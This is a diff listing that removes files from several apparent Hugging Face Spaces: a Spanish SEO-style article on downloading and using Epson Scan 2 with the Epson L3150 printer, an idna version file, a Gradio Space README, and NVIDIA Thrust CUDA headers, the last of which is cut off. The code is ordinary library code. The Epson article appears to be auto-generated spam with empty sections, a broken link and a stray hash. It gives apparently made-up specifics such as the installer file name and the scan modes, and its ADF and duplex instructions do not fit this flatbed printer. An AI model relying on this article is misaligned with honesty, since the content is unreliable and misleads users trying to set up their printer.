-<p>Para descargar Epson Scan 2 L3150, debe visitar el sitio web oficial de Epson y seguir los pasos a continuación:</p>
- <h3>Paso 1: Visita el sitio web oficial de Epson</h3>
-<p>Vaya a <a href=">https://epson.com/Support/Printers/All-InOnes/L-Series/Epson-L3150/s/SPT_C11CG86301</a> y haga clic en la pestaña Descargas. Esto lo llevará a la página donde puede encontrar el software y el controlador para su impresora Epson L3150. </p>
- <h3>Paso 2: Seleccione su sistema operativo y el idioma</h3>
-<p>En la página de descargas, verá un menú desplegable donde puede seleccionar su sistema operativo y el idioma. Elija el que coincida con su ordenador y haga clic en el botón Descargar junto a Epson Scan 2.</p>
- <h3>Paso 3: Descargue el software y el controlador de Epson Scan 2</h3>
-<p>Aparecerá una ventana emergente pidiéndole que guarde el archivo. Haga clic en Guardar archivo y elija una ubicación en su computadora donde desea guardar el archivo. El nombre del archivo será epson633555eu.exe para Windows o epson633555eu.dmg para Mac. El tamaño del archivo será de aproximadamente 66 MB.</p>
- <h3>Paso 4: Instale el software y el controlador de Epson Scan 2</h3>
-
- <h2>¿Cómo usar Epson Scan 2 L3150? </h2>
-<p>Para usar Epson Scan 2 L3150, debe conectar su impresora Epson L3150 a su computadora y seguir los pasos a continuación:</p>
-<p></p>
- <h3>Paso 1: Conecte su impresora Epson L3150 a su computadora</h3>
-<p>Puede conectar su impresora Epson L3150 a su computadora usando un cable USB o una red inalámbrica. Si está utilizando un cable USB, asegúrese de que está conectado de forma segura a ambos dispositivos. Si está utilizando una red inalámbrica, asegúrese de que la impresora y el equipo estén conectados a la misma red. </p>
- <h3>Paso 2: Inicie el software Epson Scan 2</h3>
-<p>Para iniciar el software Epson Scan 2, puede hacer clic en el icono de su escritorio o ir a Inicio > Todos los programas > Epson Software > Epson Scan 2. Verá la ventana principal del software Epson Scan 2 donde puede elegir el modo de escaneo y la configuración. </p>
- <h3>Paso 3: Elija el modo de exploración y la configuración</h3>
-<p>El software Epson Scan 2 ofrece cinco modos de escaneo: modo documento, modo foto, modo automático, modo profesional y modo hogar. Cada modo tiene diferentes configuraciones y opciones para escanear su original. Puede elegir el modo que se adapte a sus necesidades haciendo clic en el menú desplegable en la parte superior de la ventana. </p>
-<p>También puede ajustar el tipo de imagen, la resolución, la rotación, el sesgo del documento, la gestión del color, las opciones de miniaturas y otros ajustes haciendo clic en el icono de engranaje en la parte inferior de la ventana. Puede ver una vista previa de su configuración haciendo clic en el botón Vista previa en la parte inferior derecha de la ventana. </p>
- <h3>Paso 4: Previsualizar y escanear su documento o foto</h3>
-<p>Si ha elegido el modo de documento o el modo de foto, debe colocar el original en el vidrio del escáner o en el alimentador automático de documentos (ADF). Si ha elegido el modo automático, el modo profesional o el modo doméstico, puede colocar varios originales en el vidrio del escáner. </p>
-
-<p>Para escanear el original, haga clic en el botón Escanear en la parte inferior derecha de la ventana. Verá una barra de progreso que muestra cuánto tiempo queda para escanear su original. Cuando termine el escaneo, verá una ventana donde puede guardar o compartir su archivo escaneado. </p>
- <h3>Paso 5: Guarde o comparta su archivo escaneado</h3>
-<p>Para guardar su archivo escaneado, puede elegir un formato de archivo, un nombre de archivo y una ubicación de carpeta haciendo clic en el botón Guardar en la parte inferior de la ventana. También puede crear una nueva carpeta o seleccionar una carpeta existente haciendo clic en el botón Examinar. Puede ver el tamaño del archivo y la calidad de la imagen mirando la información debajo del botón Guardar. </p>
-<p>Para compartir su archivo escaneado, puede elegir una aplicación, como correo electrónico, servicio en la nube o redes sociales, haciendo clic en el botón Compartir en la parte inferior de la ventana. También puede elegir un formato de archivo y un nombre de archivo haciendo clic en el botón Opciones. Puede ver el tamaño del archivo y la calidad de la imagen mirando la información debajo del botón Compartir. </p>
- <h2>Conclusión</h2>
-<p>Epson Scan 2 L3150 es un software que le permite escanear sus documentos o fotos utilizando su impresora Epson L3150. Tiene varios modos de escaneo y configuraciones que puede personalizar según sus necesidades. También puede previsualizar, guardar o compartir sus archivos escaneados en diferentes formatos y aplicaciones. Para usar Epson Scan 2 L3150, necesitas descargarlo e instalarlo desde el sitio web oficial de Epson y seguir los pasos que te hemos mostrado en este artículo. Esperamos que este artículo sea útil e informativo para usted. </p>
- <h4>Preguntas frecuentes</h4>
-<p>Aquí hay algunas preguntas frecuentes sobre Epson Scan 2 L3150:</p>
-<ul>
-<li><b>Q: ¿Cómo puedo actualizar Epson Scan 2 L3150? </b></li>
-
-<li><b>Q: ¿Cómo puedo desinstalar Epson Scan 2 L3150? </b></li>
-<li>A: Para desinstalar Epson Scan 2 L3150, debe ir a Panel de control > Programas > Programas y características (Windows) o Finder > Aplicaciones > Software de Epson (Mac) y seleccione Epson Scan 2. Luego, haga clic en Desinstalar o Mover a la papelera y siga las instrucciones. </li>
-<li><b>Q: ¿Cómo escaneo varias páginas con Epson Scan 2 L3150? </b></li>
-<li>A: Para escanear varias páginas con Epson Scan 2 L3150, debe usar el alimentador automático de documentos (ADF) de su impresora. Coloque los originales en el ADF y seleccione Modo de documento en el software Epson Scan 2. Luego, haga clic en Vista previa y seleccione todas las páginas que desea escanear. Finalmente, haga clic en Escanear y guarde o comparta su archivo escaneado. </li>
-<li><b>Q: ¿Cómo puedo escanear documentos de doble cara con Epson Scan 2 L3150? </b></li>
-<li>A: Para escanear documentos de doble cara con Epson Scan 2 L3150, debe usar el alimentador automático de documentos (ADF) de su impresora. Coloque los originales en el ADF y seleccione Modo de documento en el software Epson Scan 2. Luego, haga clic en Configuración y marque la casilla junto a Exploración dúplex. Finalmente, haga clic en Vista previa y Escanear y guarde o comparta su archivo escaneado. </li>
-<li><b>Q: ¿Cómo puedo escanear de forma inalámbrica con Epson Scan 2 L3150? </b></li>
-<li>A: Para escanear de forma inalámbrica con Epson Scan 2 L3150, es necesario conectar la impresora y el ordenador a la misma red inalámbrica. Luego, inicie el software Epson Scan 2 y seleccione su impresora en el menú desplegable en la parte superior de la ventana. Después de eso, siga los mismos pasos que escanear con un cable USB. </li>
-</ul></p> 64aa2da5cf<br />
-<br />
-<br />

spaces/Big-Web/MMSD/env/Lib/site-packages/pip/_vendor/idna/package_data.py

@@ -1,2 +0,0 @@
-__version__ = '3.4'
-

spaces/BlackCub/ChatGPT4/README.md

@@ -1,14 +0,0 @@
----
-title: Chat-with-GPT4
-emoji: 🚀
-colorFrom: red
-colorTo: indigo
-sdk: gradio
-sdk_version: 3.21.0
-app_file: app.py
-pinned: false
-license: mit
-duplicated_from: ysharma/ChatGPT4
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference

spaces/CVPR/LIVE/thrust/thrust/detail/config/compiler_fence.h

@@ -1,62 +0,0 @@
-/*
- *  Copyright 2008-2013 NVIDIA Corporation
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- */
-
-#pragma once
-
-#include <thrust/detail/config.h>
-#include <thrust/detail/preprocessor.h>
-
-// TODO: Enable this or remove this file once nvGRAPH/CUSP migrates off of it.
-//#if THRUST_HOST_COMPILER == THRUST_HOST_COMPILER_MSVC
-//  #pragma message("warning: The functionality in this header is unsafe, deprecated, and will soon be removed. Use C++11 or C11 atomics instead.")
-//#else
-//  #warning The functionality in this header is unsafe, deprecated, and will soon be removed. Use C++11 or C11 atomics instead.
-//#endif
-
-// msvc case
-#if THRUST_HOST_COMPILER == THRUST_HOST_COMPILER_MSVC
-
-#ifndef _DEBUG
-
-#include <intrin.h>
-#pragma intrinsic(_ReadWriteBarrier)
-#define __thrust_compiler_fence() _ReadWriteBarrier()
-#else
-
-#define __thrust_compiler_fence() do {} while (0)
-
-#endif // _DEBUG
-
-// gcc case
-#elif THRUST_HOST_COMPILER == THRUST_HOST_COMPILER_GCC
-
-#if THRUST_GCC_VERSION >= 40200 // atomic built-ins were introduced ~4.2
-#define __thrust_compiler_fence() __sync_synchronize()
-#else
-// allow the code to compile without any guarantees
-#define __thrust_compiler_fence() do {} while (0)
-#endif // THRUST_GCC_VERSION
-
-// unknown case
-#elif THRUST_HOST_COMPILER == THRUST_HOST_COMPILER_CLANG
-#define __thrust_compiler_fence() __sync_synchronize()
-#elif THRUST_HOST_COMPILER == THRUST_HOST_COMPILER_UNKNOWN
-
-// allow the code to compile without any guarantees
-#define __thrust_compiler_fence() do {} while (0)
-
-#endif
-

spaces/CVPR/LIVE/thrust/thrust/system/cuda/detail/reduce.h

@@ -1,1076 +0,0 @@
-/******************************************************************************
- * Copyright (c) 2016, NVIDIA CORPORATION.  All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions are met:
- *     * Redistributions of source code must retain the above copyright
- *       notice, this list of conditions and the following disclaimer.
- *     * Redistributions in binary form must reproduce the above copyright
- *       notice, this list of conditions and the following disclaimer in the
- *       documentation and/or other materials provided with the distribution.
- *     * Neither the name of the NVIDIA CORPORATION nor the
- *       names of its contributors may be used to endorse or promote products
- *       derived from this software without specific prior written permission.
- *
- * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
- * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED. IN NO EVENT SHALL NVIDIA CORPORATION BE LIABLE FOR ANY
- * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
- * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
- * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
- * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
- * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- *
- ******************************************************************************/
-#pragma once
-
-
-#if THRUST_DEVICE_COMPILER == THRUST_DEVICE_COMPILER_NVCC
-#include <thrust/system/cuda/config.h>
-
-#include <thrust/detail/cstdint.h>
-#include <thrust/detail/temporary_array.h>
-#include <thrust/system/cuda/detail/util.h>
-#include <thrust/detail/raw_reference_cast.h>
-#include <thrust/detail/type_traits/iterator/is_output_iterator.h>
-#include <cub/device/device_reduce.cuh>
-#include <thrust/system/cuda/detail/par_to_seq.h>
-#include <thrust/system/cuda/detail/get_value.h>
-#include <thrust/system/cuda/detail/dispatch.h>
-#include <thrust/system/cuda/detail/make_unsigned_special.h>
-#include <thrust/functional.h>
-#include <thrust/system/cuda/detail/core/agent_launcher.h>
-#include <thrust/detail/minmax.h>
-#include <thrust/distance.h>
-#include <thrust/detail/alignment.h>
-
-namespace thrust
-{
-
-// forward declare generic reduce
-// to circumvent circular dependency
-template <typename DerivedPolicy,
-          typename InputIterator,
-          typename T,
-          typename BinaryFunction>
-T __host__ __device__
-reduce(const thrust::detail::execution_policy_base<DerivedPolicy> &exec,
-       InputIterator                                               first,
-       InputIterator                                               last,
-       T                                                           init,
-       BinaryFunction                                              binary_op);
-
-namespace cuda_cub {
-
-namespace __reduce {
-
-  template<bool>
-  struct is_true : thrust::detail::false_type {};
-  template<>
-  struct is_true<true> : thrust::detail::true_type {};
-
-  template <int                       _BLOCK_THREADS,
-            int                       _ITEMS_PER_THREAD   = 1,
-            int                       _VECTOR_LOAD_LENGTH = 1,
-            cub::BlockReduceAlgorithm _BLOCK_ALGORITHM    = cub::BLOCK_REDUCE_RAKING,
-            cub::CacheLoadModifier    _LOAD_MODIFIER      = cub::LOAD_DEFAULT,
-            cub::GridMappingStrategy  _GRID_MAPPING       = cub::GRID_MAPPING_DYNAMIC>
-  struct PtxPolicy
-  {
-    enum
-    {
-      BLOCK_THREADS      = _BLOCK_THREADS,
-      ITEMS_PER_THREAD   = _ITEMS_PER_THREAD,
-      VECTOR_LOAD_LENGTH = _VECTOR_LOAD_LENGTH,
-      ITEMS_PER_TILE     = _BLOCK_THREADS * _ITEMS_PER_THREAD
-    };
-
-    static const cub::BlockReduceAlgorithm BLOCK_ALGORITHM = _BLOCK_ALGORITHM;
-    static const cub::CacheLoadModifier    LOAD_MODIFIER   = _LOAD_MODIFIER;
-    static const cub::GridMappingStrategy  GRID_MAPPING    = _GRID_MAPPING;
-  }; // struct PtxPolicy
-
-  template<class,class>
-  struct Tuning;
-
-  template <class T>
-  struct Tuning<sm30, T>
-  {
-    enum
-    {
-      // Relative size of T type to a 4-byte word
-      SCALE_FACTOR_4B = (sizeof(T) + 3) / 4,
-      // Relative size of T type to a 1-byte word
-      SCALE_FACTOR_1B = sizeof(T),
-    };
-
-    typedef PtxPolicy<256,
-                      CUB_MAX(1, 20 / SCALE_FACTOR_4B),
-                      2,
-                      cub::BLOCK_REDUCE_WARP_REDUCTIONS,
-                      cub::LOAD_DEFAULT,
-                      cub::GRID_MAPPING_RAKE>
-        type;
-  }; // Tuning sm30
-
-  template <class T>
-  struct Tuning<sm35, T> : Tuning<sm30,T>
-  {
-    // ReducePolicy1B (GTX Titan: 228.7 GB/s @ 192M 1B items)
-    typedef PtxPolicy<128,
-                      CUB_MAX(1, 24 / Tuning::SCALE_FACTOR_1B),
-                      4,
-                      cub::BLOCK_REDUCE_WARP_REDUCTIONS,
-                      cub::LOAD_LDG,
-                      cub::GRID_MAPPING_DYNAMIC>
-        ReducePolicy1B;
-
-    // ReducePolicy4B types (GTX Titan: 255.1 GB/s @ 48M 4B items)
-    typedef PtxPolicy<256,
-                      CUB_MAX(1, 20 / Tuning::SCALE_FACTOR_4B),
-                      4,
-                      cub::BLOCK_REDUCE_WARP_REDUCTIONS,
-                      cub::LOAD_LDG,
-                      cub::GRID_MAPPING_DYNAMIC>
-        ReducePolicy4B;
-
-    typedef typename thrust::detail::conditional<(sizeof(T) < 4),
-                                                 ReducePolicy1B,
-                                                 ReducePolicy4B>::type type;
-  };    // Tuning sm35
-
-  template <class InputIt,
-            class OutputIt,
-            class T,
-            class Size,
-            class ReductionOp>
-  struct ReduceAgent
-  {
-    typedef typename detail::make_unsigned_special<Size>::type UnsignedSize;
-
-    template<class Arch>
-    struct PtxPlan : Tuning<Arch,T>::type
-    {
-      // we need this type definition to indicate "specialize_plan" metafunction
-      // that this PtxPlan may have specializations for different Arch
-      // via Tuning<Arch,T> type.
-      //
-      typedef Tuning<Arch,T> tuning;
-
-      typedef typename cub::CubVector<T, PtxPlan::VECTOR_LOAD_LENGTH> Vector;
-      typedef typename core::LoadIterator<PtxPlan, InputIt>::type     LoadIt;
-      typedef cub::BlockReduce<T,
-                               PtxPlan::BLOCK_THREADS,
-                               PtxPlan::BLOCK_ALGORITHM,
-                               1,
-                               1,
-                               Arch::ver>
-          BlockReduce;
-
-      typedef cub::CacheModifiedInputIterator<PtxPlan::LOAD_MODIFIER,
-                                              Vector,
-                                              Size>
-          VectorLoadIt;
-
-      struct TempStorage
-      {
-        typename BlockReduce::TempStorage reduce;
-        //
-        Size dequeue_offset;
-      };    // struct TempStorage
-
-
-    }; // struct PtxPlan
-
-    // Reduction need additional information which is not covered in
-    // default core::AgentPlan. We thus inherit from core::AgentPlan
-    // and add additional member fields that are needed.
-    // Other algorithms, e.g. merge, may not need additional information,
-    // and may use AgentPlan directly, instead of defining their own Plan type.
-    //
-    struct Plan : core::AgentPlan
-    {
-      cub::GridMappingStrategy grid_mapping;
-
-      template <class P>
-      THRUST_RUNTIME_FUNCTION
-          Plan(P) : core::AgentPlan(P()),
-                    grid_mapping(P::GRID_MAPPING)
-      {
-      }
-    };
-
-    // this specialized PtxPlan for a device-compiled Arch
-    // ptx_plan type *must* only be used from device code
-    // Its use from host code will result in *undefined behaviour*
-    //
-    typedef typename core::specialize_plan_msvc10_war<PtxPlan>::type::type ptx_plan;
-
-    typedef typename ptx_plan::TempStorage  TempStorage;
-    typedef typename ptx_plan::Vector       Vector;
-    typedef typename ptx_plan::LoadIt       LoadIt;
-    typedef typename ptx_plan::BlockReduce  BlockReduce;
-    typedef typename ptx_plan::VectorLoadIt VectorLoadIt;
-
-    enum
-    {
-      ITEMS_PER_THREAD   = ptx_plan::ITEMS_PER_THREAD,
-      BLOCK_THREADS      = ptx_plan::BLOCK_THREADS,
-      ITEMS_PER_TILE     = ptx_plan::ITEMS_PER_TILE,
-      VECTOR_LOAD_LENGTH = ptx_plan::VECTOR_LOAD_LENGTH,
-
-      ATTEMPT_VECTORIZATION = (VECTOR_LOAD_LENGTH > 1) &&
-                              (ITEMS_PER_THREAD % VECTOR_LOAD_LENGTH == 0) &&
-                              thrust::detail::is_pointer<InputIt>::value &&
-                              thrust::detail::is_arithmetic<
-                                  typename thrust::detail::remove_cv<T> >::value
-    };
-
-    struct impl
-    {
-      //---------------------------------------------------------------------
-      // Per thread data
-      //---------------------------------------------------------------------
-
-      TempStorage &storage;
-      InputIt      input_it;
-      LoadIt       load_it;
-      ReductionOp  reduction_op;
-
-      //---------------------------------------------------------------------
-      // Constructor
-      //---------------------------------------------------------------------
-
-      THRUST_DEVICE_FUNCTION impl(TempStorage &storage_,
-                                  InputIt      input_it_,
-                                  ReductionOp  reduction_op_)
-          : storage(storage_),
-            input_it(input_it_),
-            load_it(core::make_load_iterator(ptx_plan(), input_it)),
-            reduction_op(reduction_op_) {}
-
-      //---------------------------------------------------------------------
-      // Utility
-      //---------------------------------------------------------------------
-
-
-      // Whether or not the input is aligned with the vector type
-      // (specialized for types we can vectorize)
-      //
-      template <class Iterator>
-      static THRUST_DEVICE_FUNCTION bool
-      is_aligned(Iterator d_in,
-                 thrust::detail::true_type /* can_vectorize */)
-      {
-        return (size_t(d_in) & (sizeof(Vector) - 1)) == 0;
-      }
-
-      // Whether or not the input is aligned with the vector type
-      // (specialized for types we cannot vectorize)
-      //
-      template <class Iterator>
-      static THRUST_DEVICE_FUNCTION bool
-      is_aligned(Iterator,
-                 thrust::detail::false_type /* can_vectorize */)
-      {
-        return false;
-      }
-
-      //---------------------------------------------------------------------
-      // Tile processing
-      //---------------------------------------------------------------------
-
-      // Consume a full tile of input (non-vectorized)
-      //
-      template <int IS_FIRST_TILE>
-      THRUST_DEVICE_FUNCTION void
-      consume_tile(T &  thread_aggregate,
-                   Size block_offset,
-                   int  /*valid_items*/,
-                   thrust::detail::true_type /* is_full_tile */,
-                   thrust::detail::false_type /* can_vectorize */)
-      {
-        T items[ITEMS_PER_THREAD];
-
-        // Load items in striped fashion
-        cub::LoadDirectStriped<BLOCK_THREADS>(threadIdx.x,
-                                              load_it + block_offset,
-                                              items);
-
-        // Reduce items within each thread stripe
-        thread_aggregate =
-            (IS_FIRST_TILE) ? cub::internal::ThreadReduce(items, reduction_op)
-                            : cub::internal::ThreadReduce(items, reduction_op,
-                                                          thread_aggregate);
-      }
-
-      // Consume a full tile of input (vectorized)
-      //
-      template <int IS_FIRST_TILE>
-      THRUST_DEVICE_FUNCTION void
-      consume_tile(T &  thread_aggregate,
-                   Size block_offset,
-                   int  /*valid_items*/,
-                   thrust::detail::true_type /* is_full_tile */,
-                   thrust::detail::true_type /* can_vectorize */)
-      {
-        // Alias items as an array of VectorT and load it in striped fashion
-        enum
-        {
-          WORDS = ITEMS_PER_THREAD / VECTOR_LOAD_LENGTH
-        };
-
-        T items[ITEMS_PER_THREAD];
-
-        Vector *vec_items = reinterpret_cast<Vector *>(items);
-
-        // Vector Input iterator wrapper type (for applying cache modifier)
-        T *d_in_unqualified = const_cast<T *>(input_it) +
-                              block_offset +
-                              (threadIdx.x * VECTOR_LOAD_LENGTH);
-        VectorLoadIt vec_load_it(reinterpret_cast<Vector *>(d_in_unqualified));
-
-#pragma unroll
-        for (int i = 0; i < WORDS; ++i)
-        {
-          vec_items[i] = vec_load_it[BLOCK_THREADS * i];
-        }
-
-
-        // Reduce items within each thread stripe
-        thread_aggregate =
-            (IS_FIRST_TILE) ? cub::internal::ThreadReduce(items, reduction_op)
-                            : cub::internal::ThreadReduce(items, reduction_op,
-                                                          thread_aggregate);
-      }
-
-
-      // Consume a partial tile of input
-      //
-      template <int IS_FIRST_TILE, class CAN_VECTORIZE>
-      THRUST_DEVICE_FUNCTION void
-      consume_tile(T &  thread_aggregate,
-                   Size block_offset,
-                   int  valid_items,
-                   thrust::detail::false_type /* is_full_tile */,
-                   CAN_VECTORIZE)
-      {
-        // Partial tile
-        int thread_offset = threadIdx.x;
-
-        // Read first item
-        if ((IS_FIRST_TILE) && (thread_offset < valid_items))
-        {
-          thread_aggregate = load_it[block_offset + thread_offset];
-          thread_offset += BLOCK_THREADS;
-        }
-
-        // Continue reading items (block-striped)
-        while (thread_offset < valid_items)
-        {
-          thread_aggregate = reduction_op(
-              thread_aggregate,
-              thrust::raw_reference_cast(load_it[block_offset + thread_offset]));
-          thread_offset += BLOCK_THREADS;
-        }
-      }
-
-      //---------------------------------------------------------------
-      // Consume a contiguous segment of tiles
-      //---------------------------------------------------------------------
-
-
-      // Reduce a contiguous segment of input tiles
-      //
-      template <class CAN_VECTORIZE>
-      THRUST_DEVICE_FUNCTION T
-      consume_range_impl(Size          block_offset,
-                         Size          block_end,
-                         CAN_VECTORIZE can_vectorize)
-      {
-        T thread_aggregate;
-
-        if (block_offset + ITEMS_PER_TILE > block_end)
-        {
-          // First tile isn't full (not all threads have valid items)
-          int valid_items = block_end - block_offset;
-          consume_tile<true>(thread_aggregate,
-                             block_offset,
-                             valid_items,
-                             thrust::detail::false_type(),
-                             can_vectorize);
-          return BlockReduce(storage.reduce)
-              .Reduce(thread_aggregate, reduction_op, valid_items);
-        }
-
-        // At least one full block
-        consume_tile<true>(thread_aggregate,
-                           block_offset,
-                           ITEMS_PER_TILE,
-                           thrust::detail::true_type(),
-                           can_vectorize);
-        block_offset += ITEMS_PER_TILE;
-
-        // Consume subsequent full tiles of input
-        while (block_offset + ITEMS_PER_TILE <= block_end)
-        {
-          consume_tile<false>(thread_aggregate,
-                              block_offset,
-                              ITEMS_PER_TILE,
-                              thrust::detail::true_type(),
-                              can_vectorize);
-          block_offset += ITEMS_PER_TILE;
-        }
-
-        // Consume a partially-full tile
-        if (block_offset < block_end)
-        {
-          int valid_items = block_end - block_offset;
-          consume_tile<false>(thread_aggregate,
-                              block_offset,
-                              valid_items,
-                              thrust::detail::false_type(),
-                              can_vectorize);
-        }
-
-        // Compute block-wide reduction (all threads have valid items)
-        return BlockReduce(storage.reduce)
-            .Reduce(thread_aggregate, reduction_op);
-      }
-
-      // Reduce a contiguous segment of input tiles
-      //
-      THRUST_DEVICE_FUNCTION T consume_range(Size block_offset,
-                                             Size block_end)
-      {
-        typedef is_true<ATTEMPT_VECTORIZATION>          attempt_vec;
-        typedef is_true<true && ATTEMPT_VECTORIZATION>  path_a;
-        typedef is_true<false && ATTEMPT_VECTORIZATION> path_b;
-
-        return is_aligned(input_it + block_offset, attempt_vec())
-                   ? consume_range_impl(block_offset, block_end, path_a())
-                   : consume_range_impl(block_offset, block_end, path_b());
-      }
-
-      // Reduce a contiguous segment of input tiles
-      //
-      THRUST_DEVICE_FUNCTION T
-      consume_tiles(Size /*num_items*/,
-                    cub::GridEvenShare<Size> &even_share,
-                    cub::GridQueue<UnsignedSize> & /*queue*/,
-                    thrust::detail::integral_constant<cub::GridMappingStrategy, cub::GRID_MAPPING_RAKE> /*is_rake*/)
-      {
-        typedef is_true<ATTEMPT_VECTORIZATION>          attempt_vec;
-        typedef is_true<true && ATTEMPT_VECTORIZATION>  path_a;
-        typedef is_true<false && ATTEMPT_VECTORIZATION> path_b;
-
-        // Initialize even-share descriptor for this thread block
-        even_share
-            .template BlockInit<ITEMS_PER_TILE, cub::GRID_MAPPING_RAKE>();
-
-        return is_aligned(input_it, attempt_vec())
-                   ? consume_range_impl(even_share.block_offset,
-                                        even_share.block_end,
-                                        path_a())
-                   : consume_range_impl(even_share.block_offset,
-                                        even_share.block_end,
-                                        path_b());
-      }
-
-
-      //---------------------------------------------------------------------
-      // Dynamically consume tiles
-      //---------------------------------------------------------------------
-
-      // Dequeue and reduce tiles of items as part of a inter-block reduction
-      //
-      template <class CAN_VECTORIZE>
-      THRUST_DEVICE_FUNCTION T
-      consume_tiles_impl(Size                         num_items,
-                         cub::GridQueue<UnsignedSize> queue,
-                         CAN_VECTORIZE                can_vectorize)
-      {
-        using core::sync_threadblock;
-
-        // We give each thread block at least one tile of input.
-        T    thread_aggregate;
-        Size block_offset    = blockIdx.x * ITEMS_PER_TILE;
-        Size even_share_base = gridDim.x * ITEMS_PER_TILE;
-
-        if (block_offset + ITEMS_PER_TILE > num_items)
-        {
-          // First tile isn't full (not all threads have valid items)
-          int valid_items = num_items - block_offset;
-          consume_tile<true>(thread_aggregate,
-                             block_offset,
-                             valid_items,
-                             thrust::detail::false_type(),
-                             can_vectorize);
-          return BlockReduce(storage.reduce)
-              .Reduce(thread_aggregate, reduction_op, valid_items);
-        }
-
-        // Consume first full tile of input
-        consume_tile<true>(thread_aggregate,
-                           block_offset,
-                           ITEMS_PER_TILE,
-                           thrust::detail::true_type(),
-                           can_vectorize);
-
-        if (num_items > even_share_base)
-        {
-          // Dequeue a tile of items
-          if (threadIdx.x == 0)
-            storage.dequeue_offset = queue.Drain(ITEMS_PER_TILE) +
-                                     even_share_base;
-
-          sync_threadblock();
-
-          // Grab tile offset and check if we're done with full tiles
-          block_offset = storage.dequeue_offset;
-
-          // Consume more full tiles
-          while (block_offset + ITEMS_PER_TILE <= num_items)
-          {
-            consume_tile<false>(thread_aggregate,
-                                block_offset,
-                                ITEMS_PER_TILE,
-                                thrust::detail::true_type(),
-                                can_vectorize);
-
-            sync_threadblock();
-
-            // Dequeue a tile of items
-            if (threadIdx.x == 0)
-              storage.dequeue_offset = queue.Drain(ITEMS_PER_TILE) +
-                                       even_share_base;
-
-            sync_threadblock();
-
-            // Grab tile offset and check if we're done with full tiles
-            block_offset = storage.dequeue_offset;
-          }
-
-          // Consume partial tile
-          if (block_offset < num_items)
-          {
-            int valid_items = num_items - block_offset;
-            consume_tile<false>(thread_aggregate,
-                                block_offset,
-                                valid_items,
-                                thrust::detail::false_type(),
-                                can_vectorize);
-          }
-        }
-
-        // Compute block-wide reduction (all threads have valid items)
-        return BlockReduce(storage.reduce)
-            .Reduce(thread_aggregate, reduction_op);
-      }
-
-
-      // Dequeue and reduce tiles of items as part of a inter-block reduction
-      //
-      THRUST_DEVICE_FUNCTION T
-      consume_tiles(
-          Size                              num_items,
-          cub::GridEvenShare<Size> &/*even_share*/,
-          cub::GridQueue<UnsignedSize> &    queue,
-          thrust::detail::integral_constant<cub::GridMappingStrategy, cub::GRID_MAPPING_DYNAMIC>)
-      {
-        typedef is_true<ATTEMPT_VECTORIZATION>         attempt_vec;
-        typedef is_true<true && ATTEMPT_VECTORIZATION> path_a;
-        typedef is_true<false && ATTEMPT_VECTORIZATION> path_b;
-
-        return is_aligned(input_it, attempt_vec())
-                   ? consume_tiles_impl(num_items, queue, path_a())
-                   : consume_tiles_impl(num_items, queue, path_b());
-      }
-    };    // struct impl
-
-    //---------------------------------------------------------------------
-    // Agent entry points
-    //---------------------------------------------------------------------
-
-    // single tile reduce entry point
-    //
-    THRUST_AGENT_ENTRY(InputIt     input_it,
-                       OutputIt    output_it,
-                       Size        num_items,
-                       ReductionOp reduction_op,
-                       char *      shmem)
-    {
-      TempStorage& storage = *reinterpret_cast<TempStorage*>(shmem);
-
-      if (num_items == 0)
-      {
-        return;
-      }
-
-      T block_aggregate =
-          impl(storage, input_it, reduction_op).consume_range((Size)0, num_items);
-
-      if (threadIdx.x == 0)
-        *output_it = block_aggregate;
-    }
-
-    // single tile reduce entry point
-    //
-    THRUST_AGENT_ENTRY(InputIt     input_it,
-                       OutputIt    output_it,
-                       Size        num_items,
-                       ReductionOp reduction_op,
-                       T           init,
-                       char *      shmem)
-    {
-      TempStorage& storage = *reinterpret_cast<TempStorage*>(shmem);
-
-      if (num_items == 0)
-      {
-        if (threadIdx.x == 0)
-          *output_it = init;
-        return;
-      }
-
-      T block_aggregate =
-          impl(storage, input_it, reduction_op).consume_range((Size)0, num_items);
-
-      if (threadIdx.x == 0)
-        *output_it = reduction_op(init, block_aggregate);
-    }
-
-    THRUST_AGENT_ENTRY(InputIt                          input_it,
-                       OutputIt                         output_it,
-                       Size                             num_items,
-                       cub::GridEvenShare<Size> even_share,
-                       cub::GridQueue<UnsignedSize>     queue,
-                       ReductionOp                      reduction_op,
-                       char *                           shmem)
-    {
-      TempStorage& storage = *reinterpret_cast<TempStorage*>(shmem);
-
-      typedef thrust::detail::integral_constant<cub::GridMappingStrategy, ptx_plan::GRID_MAPPING> grid_mapping;
-
-      T block_aggregate =
-          impl(storage, input_it, reduction_op)
-              .consume_tiles(num_items, even_share, queue, grid_mapping());
-
-      if (threadIdx.x == 0)
-        output_it[blockIdx.x] = block_aggregate;
-    }
-  };    // struct ReduceAgent
-
-  template<class Size>
-  struct DrainAgent
-  {
-    typedef typename detail::make_unsigned_special<Size>::type UnsignedSize;
-
-    template <class Arch>
-    struct PtxPlan : PtxPolicy<1> {};
-    typedef core::specialize_plan<PtxPlan> ptx_plan;
-
-    //---------------------------------------------------------------------
-    // Agent entry point
-    //---------------------------------------------------------------------
-
-    THRUST_AGENT_ENTRY(cub::GridQueue<UnsignedSize> grid_queue,
-                       Size                         num_items,
-                       char * /*shmem*/)
-    {
